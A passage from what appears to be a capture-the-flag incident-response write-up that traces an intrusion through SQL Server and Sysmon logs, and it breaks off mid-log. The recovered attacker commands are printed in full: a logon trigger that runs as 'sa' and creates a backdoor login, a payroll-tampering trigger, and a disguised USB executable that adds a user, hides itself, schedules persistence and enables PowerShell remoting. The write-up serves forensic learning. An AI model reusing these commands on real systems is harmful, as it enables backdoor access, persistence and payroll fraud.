23 "sql_batch_completed","2023-07-23 19:16:18.3869066","2023-07-23 19:16:18.3869066","0","12751","0","29","375","3","0","10","OK","EXECUTE AS LOGIN = 'GeorgeSQL'; USE Seinfeld_Employees; SELECT IS_SRVROLEMEMBER('sysadmin') as isSysadmin; EXEC Going_Up; SELECT IS_SRVROLEMEMBER('sysadmin') as isSysadmin; USE master; REVERT;","JerrySQL","52","0xE004C7E8A806C94CAF88C8CFDB0F9C93","JerrySQL","MSSQL-SR","master","4000","JERRY-PC","33D27F8B-5117-4AC4-A81E-EDA8BFD9F5E3","Framework Microsoft SqlClient Data Provider","2023-07-23 19:16:18.5402140"
Comment: The previously created stored procedure is being used. The Seinfeld_Employees database being selected and tests are being done to see if the account is a "syadmin"
41 "sql_batch_completed","2023-07-23 19:20:03.0824037","2023-07-23 19:20:03.0824037","0","7565","0","136","205","8","0","0","OK","EXECUTE AS LOGIN = 'GeorgeSQL'; USE Seinfeld_Employees; DROP PROCEDURE Going_Up; USE master; REVERT;","JerrySQL","52","0xE004C7E8A806C94CAF88C8CFDB0F9C93","JerrySQL","MSSQL-SR","master","4000","JERRY-PC","33D27F8B-5117-4AC4-A81E-EDA8BFD9F5E3","Framework Microsoft SqlClient Data Provider","2023-07-23 19:20:02.3085744"
Comment: The stored procedure is being destroyed.
Similarly for the triggers, I was not able initially, to find information via Packet Analysis, we now see that information here.
$ cat sql_logs.csv --number | grep --ignore-case --perl-regexp 'trigger' 35 "sql_batch_completed","2023-07-23 19:18:50.6740293","2023-07-23 19:18:50.6740293","15000","8819","0","88","552","6","0","1","OK","EXECUTE AS LOGIN = 'GeorgeSQL'; DECLARE @SQL NVARCHAR(MAX); SET @SQL = N' CREATE TRIGGER MasterOfMySQL ON ALL SERVER WITH EXECUTE AS ''sa'' AFTER LOGON AS BEGIN IF ORIGINAL_LOGIN() = ''JerrySQL'' BEGIN IF NOT EXISTS (SELECT 1 FROM sys.server_principals WHERE name = ''MailManSQL'') BEGIN CREATE LOGIN MailManSQL WITH PASSWORD = ''L4rg3j4mb4l4y4s0up!!!''; END END END;'; EXEC sp_executesql @SQL; REVERT;","JerrySQL","52","0xE004C7E8A806C94CAF88C8CFDB0F9C93","JerrySQL","MSSQL-SR","master","4000","JERRY-PC","33D27F8B-5117-4AC4-A81E-EDA8BFD9F5E3","Framework Microsoft SqlClient Data Provider","2023-07-23 19:18:51.7700571"
Comment: Using GeorgeSQL account create a trigger named MasterOfMySQL on all servers. This looks to be creating the MailManSQL account on the database server if it does not exist.
36 "sql_batch_completed","2023-07-23 19:19:02.1382526","2023-07-23 19:19:02.1382526","0","975","0","0","2","0","0","0","OK","EXECUTE AS LOGIN = 'GeorgeSQL'; ENABLE TRIGGER MasterOfMySQL ON ALL SERVER; REVERT;","JerrySQL","52","0xE004C7E8A806C94CAF88C8CFDB0F9C93","JerrySQL","MSSQL-SR","master","4000","JERRY-PC","33D27F8B-5117-4AC4-A81E-EDA8BFD9F5E3","Framework Microsoft SqlClient Data Provider","2023-07-23 19:19:02.5253289"
Comment: The Trigger is being enabled
38 "sql_batch_completed","2023-07-23 19:19:45.1361731","2023-07-23 19:19:45.1361731","0","8129","0","136","213","11","0","1","OK"," DECLARE @SqlScript NVARCHAR(MAX); SET @SqlScript = N' CREATE OR ALTER TRIGGER NoLowSalaryForYou ON Payroll AFTER UPDATE AS BEGIN DECLARE @Threshold DECIMAL(10, 2) = 123456; DECLARE @ID INT = 5; IF UPDATE(Salary) BEGIN UPDATE a SET Salary = CASE WHEN b.Salary < @Threshold THEN @Threshold ELSE b.Salary END FROM Payroll a JOIN inserted b ON a.id = b.id WHERE a.id = @ID; END END;'; EXEC sp_executesql @SqlScript; USE master; REVERT;","JerrySQL","52","0xE004C7E8A806C94CAF88C8CFDB0F9C93","JerrySQL","MSSQL-SR","master","4000","JERRY-PC","33D27F8B-5117-4AC4-A81E-EDA8BFD9F5E3","Framework Microsoft SqlClient Data Provider","2023-07-23 19:19:44.6864483"
Comment: Looks to be creating a trigger if it does not exist but altering if it does exist. Looks like this will trigger after an UPDATE is made to the Payroll table. Looks to be setting the salary at 123456.
Log Analysis - Windows Logs
While I am not aware of its importance at this time, I do find la57setup.exe within the 10-240-240-4-events.csv log file as an interesting file based on the name. Searching my system to see if such a file is by default on Win 10:
C:\users\securitynik>ver Microsoft Windows [Version 10.0.19044.3324]
The search did not produce any results
C:\users\securitynik>dir /S c:\la57setup.exe Volume in drive C has no label. Volume Serial Number is 728F-A8BE File Not Found
Starting off with the device at 10.24.240.5 now recognized as "NEWMAN-PC"
Sorting the Windows logs in the Windows Event Viewer by "Date and Time", having the earlier events at the top and the more recent ones at the bottom.
Scrolling through the logs we see:
SetValue 2023-07-23 23:09:13.679 EV_RenderedValue_3.00 848 C:\Windows\system32\LogonUI.exe HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\LastLoggedOnUser .\Newman NT AUTHORITY\SYSTEM
This confirms that "Newman" last logged into the system at 23:09:13.
We are able to see below that Newman has Nmap on his system, not sure why ths is needed:
EventData RuleName -
UtcTime 2023-07-23 23:09:57.946
ProcessGuid {758cb1f7-b345-64bd-8c00-000000004200}
ProcessId 6540
Image C:\Program Files (x86)\Nmap\zenmap\bin\pythonw.exe
FileVersion 3.10.11
Description Python
Product Python
Company Python Software Foundation
OriginalFileName pythonw.exe
CommandLine "C:\Program Files (x86)\Nmap\zenmap\bin\pythonw.exe" -c "from zenmapGUI.App import run;run()"
CurrentDirectory C:\Program Files (x86)\Nmap\ User NEWMAN-PC\Newman
LogonGuid {758cb1f7-b319-64bd-4ec6-050000000000}
LogonId 0x5c64e
TerminalSessionId 1
IntegrityLevel Medium
Hashes MD5=0B3043DC9F9DB2C90D6E116F0862B2D1,SHA256=5198F9DCE2295F913EA0C1D21F0E3C92296F3926E7C1DC87B0308EE0BFD140FE,IMPHASH=CF4CF1ED1C13C236668C924DFD14E4B4
ParentProcessGuid {758cb1f7-b31c-64bd-5d00-000000004200}
ParentProcessId 4132
ParentImage C:\Windows\explorer.exe
ParentCommandLine C:\Windows\Explorer.EXE
ParentUser NEWMAN-PC\Newman
We next see that Nmap is used to scan network 10.240.240/0/24, trying to performing a version scan, while enabling OS detection. This also seems more like Zenmap is being used to call the actual nmap.exe file.
nmap.exe" -sV -T4 -O -F -oX C:\Users\Newman\AppData\Local\Temp\zenmap-cjwelvey.xml --version-light 10.240.240.0/24
- EventData RuleName -
UtcTime 2023-07-23 23:10:05.705
ProcessGuid {758cb1f7-b34d-64bd-8e00-000000004200}
ProcessId 6708
Image C:\Program Files (x86)\Nmap\nmap.exe
FileVersion 7.94
Description Nmap
Product Nmap
Company Insecure.Org
OriginalFileName nmap.exe
CommandLine "C:\Program Files (x86)\Nmap\nmap.exe" -sV -T4 -O -F -oX C:\Users\Newman\AppData\Local\Temp\zenmap-cjwelvey.xml --version-light 10.240.240.0/24 CurrentDirectory C:\Program Files (x86)\Nmap\ User NEWMAN-PC\Newman
LogonGuid {758cb1f7-b319-64bd-4ec6-050000000000}
LogonId 0x5c64e
TerminalSessionId 1
IntegrityLevel Medium
Hashes MD5=C7796D918785956C9235CCF3490132BF,SHA256=9C5B213A5E910E49781F540F1AB975B38BEC460C3B7B8DDA04B0C415D7C5343A,IMPHASH=5AFF993A0259F16A3997F947B2EEBD27
ParentProcessGuid {758cb1f7-b345-64bd-8c00-000000004200}
ParentProcessId 6540
ParentImage C:\Program Files (x86)\Nmap\zenmap\bin\pythonw.exe ParentCommandLine "C:\Program Files (x86)\Nmap\zenmap\bin\pythonw.exe" -c "from zenmapGUI.App import run;run()" ParentUser NEWMAN-PC\Newman
Here is an example of TCP connection being made to "JERRY-PC" via NMAP. While the connection below to "JERRY-PC" is to port 135, there are also connections to port 139, 445
- EventData RuleName -
UtcTime 2023-07-23 23:10:08.559
ProcessGuid {758cb1f7-b34d-64bd-8e00-000000004200}
ProcessId 6708
Image C:\Program Files (x86)\Nmap\nmap.exe User NEWMAN-PC\Newman
Protocol tcp
Initiated true
SourceIsIpv6 false
SourceIp 10.240.240.5 SourceHostname Newman-PC SourcePort 49676 SourcePortName -
DestinationIsIpv6 false
DestinationIp 10.240.240.4 DestinationHostname JERRY-PC DestinationPort 139
DestinationPortName netbios-ssn
There are also connections to the host at 10.240.240.6 on ports 135, 139, 445 and 1433
- EventData RuleName -
UtcTime 2023-07-23 23:10:08.560
ProcessGuid {758cb1f7-b34d-64bd-8e00-000000004200}
ProcessId 6708
Image C:\Program Files (x86)\Nmap\nmap.exe User NEWMAN-PC\Newman Protocol tcp
Initiated true
SourceIsIpv6 false
SourceIp 10.240.240.5
SourceHostname Newman-PC
SourcePort 49681
SourcePortName -
DestinationIsIpv6 false
DestinationIp 10.240.240.6
DestinationHostname -
DestinationPort 1433
DestinationPortName ms-sql-s
Newman may not have recognized it, but because of the subnet chosing with no exclusion, he is also scanning his own machine :-)
EventData RuleName -
UtcTime 2023-07-23 23:10:35.832
ProcessGuid {758cb1f7-b34d-64bd-8e00-000000004200}
ProcessId 6708
Image C:\Program Files (x86)\Nmap\nmap.exe User NEWMAN-PC\Newman
Protocol tcp
Initiated true
SourceIsIpv6 false
SourceIp 10.240.240.5 SourceHostname Newman-PC SourcePort 49699
SourcePortName -
DestinationIsIpv6 false
DestinationIp 10.240.240.5 DestinationHostname Newman-PC
DestinationPort 445
DestinationPortName microsoft-ds
If we had access to Newman's PC, we could corroborate this evidence by looking at the information in the registry.
- EventData RuleName InvDB
EventType SetValue
UtcTime 2023-07-23 23:10:47.421
ProcessGuid {758cb1f7-b312-64bd-1700-000000004200}
ProcessId 1176
Image C:\Windows\System32\svchost.exe
TargetObject HKU\S-1-5-21-2404277346-2099594652-1884649452-1010\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store\C:\Program Files (x86)\Nmap\zenmap\bin\pythonw.exe
Details Binary Data
User NT AUTHORITY\SYSTEM
Next up, we see a connection to port 5985 on Jerry-PC from NEWMAN-PC ON PORT 49704. It is interesting than Newman knew of port 5985 as I did not see any response/evidence for these in the logs. More importantly, as we know, this is a challenge, not a real world incident. Hence this is more than likely due to prior knowledge. It could also quite be that this was learned via scanning but the evidence was just not in the log. So many possibilities.
- EventData RuleName -
UtcTime 2023-07-23 23:13:07.856
ProcessGuid {758cb1f7-b3f8-64bd-a900-000000004200}
ProcessId 6764
Image C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe User NEWMAN-PC\Newman
Protocol tcp
Initiated true
SourceIsIpv6 false
SourceIp 10.240.240.5
SourceHostname Newman-PC
SourcePort 49704
SourcePortName -
DestinationIsIpv6 false
DestinationIp 10.240.240.4
DestinationHostname JERRY-PC DestinationPort 5985
DestinationPortName -
This information is confirmed by what was identified in the PCAP file and the analysis done above. The same is true for the following two connections from source port 49705 and 49706 respectively.
- EventData RuleName -
UtcTime 2023-07-23 23:13:08.243
ProcessGuid {758cb1f7-b3f8-64bd-a900-000000004200}
ProcessId 6764
Image C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe User NEWMAN-PC\Newman
Protocol tcp
Initiated true
SourceIsIpv6 false
SourceIp 10.240.240.5
SourceHostname Newman-PC
SourcePort 49705
SourcePortName -
DestinationIsIpv6 false
DestinationIp 10.240.240.4
DestinationHostname JERRY-PC DestinationPort 5985
DestinationPortName -
- EventData RuleName -
UtcTime 2023-07-23 23:13:08.321
ProcessGuid {758cb1f7-b3f8-64bd-a900-000000004200}
ProcessId 6764
Image C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe User NEWMAN-PC\Newman
Protocol tcp
Initiated true
SourceIsIpv6 false
SourceIp 10.240.240.5
SourceHostname Newman-PC
SourcePort 49706
SourcePortName -
DestinationIsIpv6 false
DestinationIp 10.240.240.4
DestinationHostname JERRY-PC DestinationPort 5985
DestinationPortName -
Transitioning to the logs for Jerry-PC at 10.240.240.4 to see exactly what was done by Newman on this system.
I thought about starting the analysis from around the time Newman connected which was at "UtcTime 2023-07-23 23:13:07.856" from source IP 10.240.240.5 on source port 49704 to destination port 5985 on Jerry's PC. However, poking around the logs prior to that time, shows evidence of earlier problems. Let's look at some of these problems/concerns.
Looks like Jerry might have also been the source of some of his own problems. A file named "Win11updates.exe" was loaded from the drive lettered "E". This may be a network mapped drive or a USB or some other rmedia.
- EventData RuleName -
UtcTime 2023-07-23 23:11:07.426
ProcessGuid {3f0f5ad4-b38b-64bd-9900-000000003100}
ProcessId 1600
Image E:\Win11updates.exe FileVersion -
Description -
Product -
Company -
OriginalFileName -
CommandLine "E:\Win11updates.exe" CurrentDirectory E:\ User JERRY-PC\Jerry LogonGuid {3f0f5ad4-b317-64bd-795a-050000000000}
LogonId 0x55a79
TerminalSessionId 1
IntegrityLevel Medium
Hashes MD5=25703C731DA76007CB83370106AA9A39,SHA256=35BB4785955B852476C63C06262F6C1079E1C850B6B2B9DE4EAC40349ED937AD,IMPHASH=0B5552DCCD9D0A834CEA55C0C8FC05BE
ParentProcessGuid {3f0f5ad4-b318-64bd-4500-000000003100}
ParentProcessId 3440
ParentImage C:\Windows\explorer.exe ParentCommandLine C:\Windows\Explorer.EXE ParentUser JERRY-PC\Jerry
No evidence of executables was found on the USB disk provided. So where did this "Win11updates.exe" file come from?! Did I miss something?
Well I did, while having a conversation with Jean he told me the evidence was right there, I just missed it. This reinforces the need to pay close attention to what your logs says. Here is the actual entry I missed initially.
- EventData RuleName Context,DeviceConnectedOrUpdated
EventType SetValue
UtcTime 2023-07-23 23:11:01.707
ProcessGuid {3f0f5ad4-b385-64bd-8a00-000000003100}
ProcessId 7464
Image C:\Windows\System32\WUDFHost.exe
TargetObject HKLM\System\CurrentControlSet\Enum\SWD\WPDBUSENUM_??USBSTOR#Disk&Ven_General&Prod_UDisk&Rev_5.00#6&1526ad36&0&&0#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}\FriendlyName Details E:\ User NT AUTHORITY\LOCAL SERVICE
As we can see above, the USB was inserted and assigned drive letter E: This correlates with where the "Win11updates.exe" file was loaded.
Back to normal programming.
Interestingly, I see the file was loaded a second time. Notice the process ID change. Paying close attention to the integrity level, we see this second run is with higher level privileges. More like Administrator level privileges.
EventData RuleName -
UtcTime 2023-07-23 23:11:09.645
ProcessGuid {3f0f5ad4-b38d-64bd-9c00-000000003100}
ProcessId 6648 Image E:\Win11updates.exe
FileVersion -
Description -
Product -
Company -
OriginalFileName -
CommandLine "E:\Win11updates.exe"
CurrentDirectory E:\
User JERRY-PC\Jerry
LogonGuid {3f0f5ad4-b317-64bd-235a-050000000000}
LogonId 0x55a23
TerminalSessionId 1
IntegrityLevel High
Hashes MD5=25703C731DA76007CB83370106AA9A39,SHA256=35BB4785955B852476C63C06262F6C1079E1C850B6B2B9DE4EAC40349ED937AD,IMPHASH=0B5552DCCD9D0A834CEA55C0C8FC05BE
ParentProcessGuid {3f0f5ad4-b318-64bd-4500-000000003100}
ParentProcessId 3440
ParentImage C:\Windows\explorer.exe
ParentCommandLine C:\Windows\Explorer.EXE
ParentUser JERRY-PC\Jerry
We also see information about this "Win11Updates.exe" file is also written to the registry. Here we see one such example.
- EventData RuleName InvDB-CompileTimeClaim
EventType SetValue UtcTime 2023-07-23 23:11:09.730
ProcessGuid {3f0f5ad4-b311-64bd-1600-000000003100}
ProcessId 1132
Image C:\Windows\System32\svchost.exe
TargetObject \REGISTRY\A{5dfb6902-580d-20f2-eee2-25aecfb2b037}\Root\InventoryApplicationFile\win11updates.exe|79834fe67b152d51\LinkDate Details 07/20/2023 02:17:43 User NT AUTHORITY\SYSTEM
We also see the executable leverages Windows Visual C++ Runtime.
- EventData RuleName DLL
UtcTime 2023-07-23 23:11:09.770
ProcessGuid {3f0f5ad4-b38d-64bd-9c00-000000003100}
ProcessId 6648
Image E:\Win11updates.exe
TargetFilename C:\Users\Jerry\AppData\Local\Temp_MEI66482\VCRUNTIME140.dll CreationUtcTime 2023-07-23 23:11:09.770
User JERRY-PC\Jerry
The Win11Updates.exe file then spawn a copy of itself
- EventData RuleName -
UtcTime 2023-07-23 23:11:09.936
ProcessGuid {3f0f5ad4-b38d-64bd-9d00-000000003100}
ProcessId 5512 Image E:\Win11updates.exe
FileVersion -
Description -
Product -
Company -
OriginalFileName -
CommandLine "E:\Win11updates.exe"
CurrentDirectory E:\
User JERRY-PC\Jerry
LogonGuid {3f0f5ad4-b317-64bd-235a-050000000000}
LogonId 0x55a23
TerminalSessionId 1
IntegrityLevel High
Hashes MD5=25703C731DA76007CB83370106AA9A39,SHA256=35BB4785955B852476C63C06262F6C1079E1C850B6B2B9DE4EAC40349ED937AD,IMPHASH=0B5552DCCD9D0A834CEA55C0C8FC05BE
ParentProcessGuid {3f0f5ad4-b38d-64bd-9c00-000000003100}
ParentProcessId 6648
ParentImage E:\Win11updates.exe ParentCommandLine "E:\Win11updates.exe"
ParentUser JERRY-PC\Jerry
Using the spawned "Win11updates.exe" we now see Powershell is spawned, executing a command to create a new user named "LittleNewman" with password "password" on "JERRY-PC". This process is using the current credentials of "JERRY-PC\Jerry".
EventData RuleName -
UtcTime 2023-07-23 23:11:10.510
ProcessGuid {3f0f5ad4-b38e-64bd-9e00-000000003100}
ProcessId 6236 Image C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileVersion 10.0.22621.1635 (WinBuild.160101.0800)
Description Windows PowerShell
Product Microsoft® Windows® Operating System
Company Microsoft Corporation
OriginalFileName PowerShell.EXE
CommandLine powershell -Command "Start-Process -FilePath \"cmd.exe\" -ArgumentList \"/c net user LittleNewman password /add\" -Verb RunAs" CurrentDirectory E:\
User JERRY-PC\Jerry
LogonGuid {3f0f5ad4-b317-64bd-235a-050000000000}
LogonId 0x55a23
TerminalSessionId 1
IntegrityLevel High
Hashes MD5=0499440C4B0783266183246E384C6657,SHA256=D436E66C0D092508E4B85290815AB375695FA9013C7423A3A27FED4F1ACF90BD,IMPHASH=342A7FD0A3177AE5549A5EEE99F82271
ParentProcessGuid {3f0f5ad4-b38d-64bd-9d00-000000003100}
ParentProcessId 5512
ParentImage E:\Win11updates.exe
ParentCommandLine "E:\Win11updates.exe"
ParentUser JERRY-PC\Jerry
As expected, the Powershell spawned the cmd.exe to execute the tasks above.
- EventData RuleName -
UtcTime 2023-07-23 23:11:11.181
ProcessGuid {3f0f5ad4-b38f-64bd-a000-000000003100}
ProcessId 7880 Image C:\Windows\System32\cmd.exe
FileVersion 10.0.22621.1635 (WinBuild.160101.0800)
Description Windows Command Processor
Product Microsoft® Windows® Operating System
Company Microsoft Corporation
OriginalFileName Cmd.Exe
CommandLine "C:\Windows\system32\cmd.exe" /c net user LittleNewman password /add CurrentDirectory E:\
User JERRY-PC\Jerry
LogonGuid {3f0f5ad4-b317-64bd-235a-050000000000}
LogonId 0x55a23
TerminalSessionId 1
IntegrityLevel High
Hashes MD5=5A6BE4D2519515241D0C133A26CF62C0,SHA256=423E0E810A69AACEBA0E5670E58AFF898CF0EBFFAB99CCB46EBB3464C3D2FACB,IMPHASH=D73E39DAB3C8B57AA408073D01254964
ParentProcessGuid {3f0f5ad4-b38e-64bd-9e00-000000003100}
ParentProcessId 6236
ParentImage C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ParentCommandLine powershell -Command "Start-Process -FilePath \"cmd.exe\" -ArgumentList \"/c net user LittleNewman password /add\" -Verb RunAs" ParentUser JERRY-PC\Jerry
It also looks like the Win11Updates.exe file is running from "C:\Users\Public\Win11updates.exe". Maybe the file made a copy of itself. Maybe it was intentionally placed there. I have provided no evidence to show how it got there. I do not it is there and that is all that matters to me at this point.
- EventData RuleName EXE
UtcTime 2023-07-23 23:11:11.229
ProcessGuid {3f0f5ad4-b38d-64bd-9d00-000000003100}
ProcessId 5512
Image E:\Win11updates.exe
TargetFilename C:\Users\Public\Win11updates.exe
CreationUtcTime 2023-07-23 23:11:11.229
User JERRY-PC\Jerry
We next see the attempt to hide the file via the attrib command. This file is being hidden in the "C:/Users/Public/Win11updates.exe".
- EventData RuleName -
UtcTime 2023-07-23 23:11:11.251
ProcessGuid {3f0f5ad4-b38f-64bd-a200-000000003100}
ProcessId 5832
Image C:\Windows\System32\cmd.exe
FileVersion 10.0.22621.1635 (WinBuild.160101.0800)
Description Windows Command Processor
Product Microsoft® Windows® Operating System
Company Microsoft Corporation
OriginalFileName Cmd.Exe
CommandLine C:\Windows\system32\cmd.exe /c "attrib +h C:/Users/Public/Win11updates.exe" CurrentDirectory E:\
User JERRY-PC\Jerry
LogonGuid {3f0f5ad4-b317-64bd-235a-050000000000}
LogonId 0x55a23
TerminalSessionId 1
IntegrityLevel High
Hashes MD5=5A6BE4D2519515241D0C133A26CF62C0,SHA256=423E0E810A69AACEBA0E5670E58AFF898CF0EBFFAB99CCB46EBB3464C3D2FACB,IMPHASH=D73E39DAB3C8B57AA408073D01254964
ParentProcessGuid {3f0f5ad4-b38d-64bd-9d00-000000003100}
ParentProcessId 5512
ParentImage E:\Win11updates.exe
ParentCommandLine "E:\Win11updates.exe"
ParentUser JERRY-PC\Jerry
I'm beginning to wonder, if I am concerned about Newman, why are all these tasks so far being done by Jerry's account. Also all of these activity have been done prior to Newman connecting to the system so far. Newman's first connection to port 5985 was at "UtcTime 2023-07-23 23:13:07.856". From the Sysmon logs, Win11Updates.exe did not seem to create any network connections, to allow a remote user to access this system. Is Jerry just as much a cause for concern here as Newman? Hmmmm! Incident response is definitely not easy.
Once again, the user is being created.
- EventData RuleName -
UtcTime 2023-07-23 23:11:11.331
ProcessGuid {3f0f5ad4-b38f-64bd-a400-000000003100}
ProcessId 4416 Image C:\Windows\System32\net.exe FileVersion 10.0.22621.1 (WinBuild.160101.0800)
Description Net Command
Product Microsoft® Windows® Operating System
Company Microsoft Corporation
OriginalFileName net.exe
CommandLine net user LittleNewman password /add CurrentDirectory E:\
User JERRY-PC\Jerry
LogonGuid {3f0f5ad4-b317-64bd-235a-050000000000}
LogonId 0x55a23
TerminalSessionId 1
IntegrityLevel High
Hashes MD5=BB1AE49B6B7C53499E94613761A6AC56,SHA256=AFBE51517092256504F797F6A5ABC02515A09D603E8C046AE31D7D7855568E91,IMPHASH=D45C37A5C97135204AD6E116C34946C3
ParentProcessGuid {3f0f5ad4-b38f-64bd-a000-000000003100}
ParentProcessId 7880
ParentImage C:\Windows\System32\cmd.exe
ParentCommandLine "C:\Windows\system32\cmd.exe" /c net user LittleNewman password /add ParentUser JERRY-PC\Jerry
As expected the "net.exe" command, spawns "net1.exe" to create the user:
- EventData RuleName -
UtcTime 2023-07-23 23:11:11.354
ProcessGuid {3f0f5ad4-b38f-64bd-a500-000000003100}
ProcessId 7840 Image C:\Windows\System32\net1.exe
FileVersion 10.0.22621.674 (WinBuild.160101.0800)
Description Net Command
Product Microsoft® Windows® Operating System
Company Microsoft Corporation
OriginalFileName net1.exe
CommandLine C:\Windows\system32\net1 user LittleNewman password /add CurrentDirectory E:\
User JERRY-PC\Jerry
LogonGuid {3f0f5ad4-b317-64bd-235a-050000000000}
LogonId 0x55a23
TerminalSessionId 1
IntegrityLevel High
Hashes MD5=CBF31BACECC4B17A1FE2D65BDC53F111,SHA256=1879DB2ABFF726A5438DD1AE48F20EBED736619C27A32526D09F70AF7EADD0E5,IMPHASH=76EE66A0F294EAB08DCAEF5E64FBF02F
ParentProcessGuid {3f0f5ad4-b38f-64bd-a400-000000003100}
ParentProcessId 4416
ParentImage C:\Windows\System32\net.exe
ParentCommandLine net user LittleNewman password /add
ParentUser JERRY-PC\Jerry
We then see "attrib.exe" command is being executed to hide the file
EventData RuleName -
UtcTime 2023-07-23 23:11:11.370
ProcessGuid {3f0f5ad4-b38f-64bd-a600-000000003100}
ProcessId 7860 Image C:\Windows\System32\attrib.exe
FileVersion 10.0.22621.1 (WinBuild.160101.0800)
Description Attribute Utility
Product Microsoft® Windows® Operating System
Company Microsoft Corporation
OriginalFileName ATTRIB.EXE
CommandLine attrib +h C:/Users/Public/Win11updates.exe CurrentDirectory E:\
User JERRY-PC\Jerry
LogonGuid {3f0f5ad4-b317-64bd-235a-050000000000}
LogonId 0x55a23
TerminalSessionId 1
IntegrityLevel High
Hashes MD5=A243BC9DB0BFB5F22E146B88BB10C58F,SHA256=0758152947F1A550E52CE8E3F9BCD988A23D36A458AD953795769B11C38FF2EA,IMPHASH=2CB38FE7D8F223D9DA50B7CBA9B95A6D
ParentProcessGuid {3f0f5ad4-b38f-64bd-a200-000000003100}
ParentProcessId 5832
ParentImage C:\Windows\System32\cmd.exe
ParentCommandLine C:\Windows\system32\cmd.exe /c "attrib +h C:/Users/Public/Win11updates.exe" ParentUser JERRY-PC\Jerry
Like any good threat actor, one or more persistence mechanisms had to be created. We see the backdoor user being created above. Now we see a scheduled task (my favourite persistence mechanism) is being created to run the "Win11updates.exe" file whenever Jerry logs on. While the target of the file is in "C:/Users/Public/Win11updates.exe", we see that the "Jerry" is still working out of the "E:\" drive. I like the choice of name for this scheduled tasks "WindowsImportant".
- EventData RuleName -
UtcTime 2023-07-23 23:11:11.417
ProcessGuid {3f0f5ad4-b38f-64bd-a700-000000003100}
ProcessId 7732 Image C:\Windows\System32\cmd.exe
FileVersion 10.0.22621.1635 (WinBuild.160101.0800)
Description Windows Command Processor
Product Microsoft® Windows® Operating System
Company Microsoft Corporation
OriginalFileName Cmd.Exe
CommandLine C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WindowsImportant" /tr "C:/Users/Public/Win11updates.exe" /sc ONLOGON /ru "Jerry"" CurrentDirectory E:\
User JERRY-PC\Jerry
LogonGuid {3f0f5ad4-b317-64bd-235a-050000000000}
LogonId 0x55a23
TerminalSessionId 1
IntegrityLevel High
Hashes MD5=5A6BE4D2519515241D0C133A26CF62C0,SHA256=423E0E810A69AACEBA0E5670E58AFF898CF0EBFFAB99CCB46EBB3464C3D2FACB,IMPHASH=D73E39DAB3C8B57AA408073D01254964
ParentProcessGuid {3f0f5ad4-b38d-64bd-9d00-000000003100}
ParentProcessId 5512
ParentImage E:\Win11updates.exe ParentCommandLine "E:\Win11updates.exe"
ParentUser JERRY-PC\Jerry
Scheduled tasks is then called as its own process as its parent being cmd.exe.
- EventData RuleName -
UtcTime 2023-07-23 23:11:11.511
ProcessGuid {3f0f5ad4-b38f-64bd-a900-000000003100}
ProcessId 7988 Image C:\Windows\System32\schtasks.exe
FileVersion 10.0.22621.1 (WinBuild.160101.0800)
Description Task Scheduler Configuration Tool
Product Microsoft® Windows® Operating System
Company Microsoft Corporation
OriginalFileName schtasks.exe
CommandLine schtasks /create /tn "WindowsImportant" /tr "C:/Users/Public/Win11updates.exe" /sc ONLOGON /ru "Jerry" CurrentDirectory E:\
User JERRY-PC\Jerry
LogonGuid {3f0f5ad4-b317-64bd-235a-050000000000}
LogonId 0x55a23
TerminalSessionId 1
IntegrityLevel High
Hashes MD5=D857FA7279E2861199583474C17A1C6C,SHA256=DDDE64F0F55751763C1BCD53DE9CDFFC0D725D45A8476464A2A0422661813004,IMPHASH=44E70F20C235C150D75F6FC8B1E29CD1
ParentProcessGuid {3f0f5ad4-b38f-64bd-a700-000000003100}
ParentProcessId 7732
ParentImage C:\Windows\System32\cmd.exe
ParentCommandLine C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WindowsImportant" /tr "C:/Users/Public/Win11updates.exe" /sc ONLOGON /ru "Jerry"" ParentUser JERRY-PC\Jerry
I'm beginning to have serious concerns about Jerry. We see that Jerry is attempting to Enable PSRemoting. While PSRemoting is enabled by default on Windows server platforms, the same is not true for client versions. Hence, below, Jerry is deliberately configuring the local computer to receive Powershell remote commands. Ohh Jerry seems up to no good at this point. Or is this Jean preparing the environment for the challenge :-). It doesn't matter, we're just having fun while learning.
- EventData RuleName -
UtcTime 2023-07-23 23:11:11.560
ProcessGuid {3f0f5ad4-b38f-64bd-aa00-000000003100}
ProcessId 8028
Image C:\Windows\System32\cmd.exe
FileVersion 10.0.22621.1635 (WinBuild.160101.0800)
Description Windows Command Processor
Product Microsoft® Windows® Operating System
Company Microsoft Corporation
OriginalFileName Cmd.Exe
CommandLine C:\Windows\system32\cmd.exe /c "powershell.exe Enable-PSRemoting -Force" CurrentDirectory E:\
User JERRY-PC\Jerry
LogonGuid {3f0f5ad4-b317-64bd-235a-050000000000}
LogonId 0x55a23
TerminalSessionId 1
IntegrityLevel High
Hashes MD5=5A6BE4D2519515241D0C133A26CF62C0,SHA256=423E0E810A69AACEBA0E5670E58AFF898CF0EBFFAB99CCB46EBB3464C3D2FACB,IMPHASH=D73E39DAB3C8B57AA408073D01254964
ParentProcessGuid {3f0f5ad4-b38d-64bd-9d00-000000003100}
ParentProcessId 5512
ParentImage E:\Win11updates.exe
ParentCommandLine "E:\Win11updates.exe"
ParentUser JERRY-PC\Jerry
We see Powershell is spawned by cmd.exe.
- EventData RuleName -
UtcTime 2023-07-23 23:11:11.593
ProcessGuid {3f0f5ad4-b38f-64bd-ac00-000000003100}
ProcessId 7676 Image C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileVersion 10.0.22621.1635 (WinBuild.160101.0800)
Description Windows PowerShell
Product Microsoft® Windows® Operating System
Company Microsoft Corporation
OriginalFileName PowerShell.EXE
CommandLine powershell.exe Enable-PSRemoting -Force
CurrentDirectory E:\
User JERRY-PC\Jerry
LogonGuid {3f0f5ad4-b317-64bd-235a-050000000000}
LogonId 0x55a23
TerminalSessionId 1
IntegrityLevel High
Hashes MD5=0499440C4B0783266183246E384C6657,SHA256=D436E66C0D092508E4B85290815AB375695FA9013C7423A3A27FED4F1ACF90BD,IMPHASH=342A7FD0A3177AE5549A5EEE99F82271
ParentProcessGuid {3f0f5ad4-b38f-64bd-aa00-000000003100}
ParentProcessId 8028
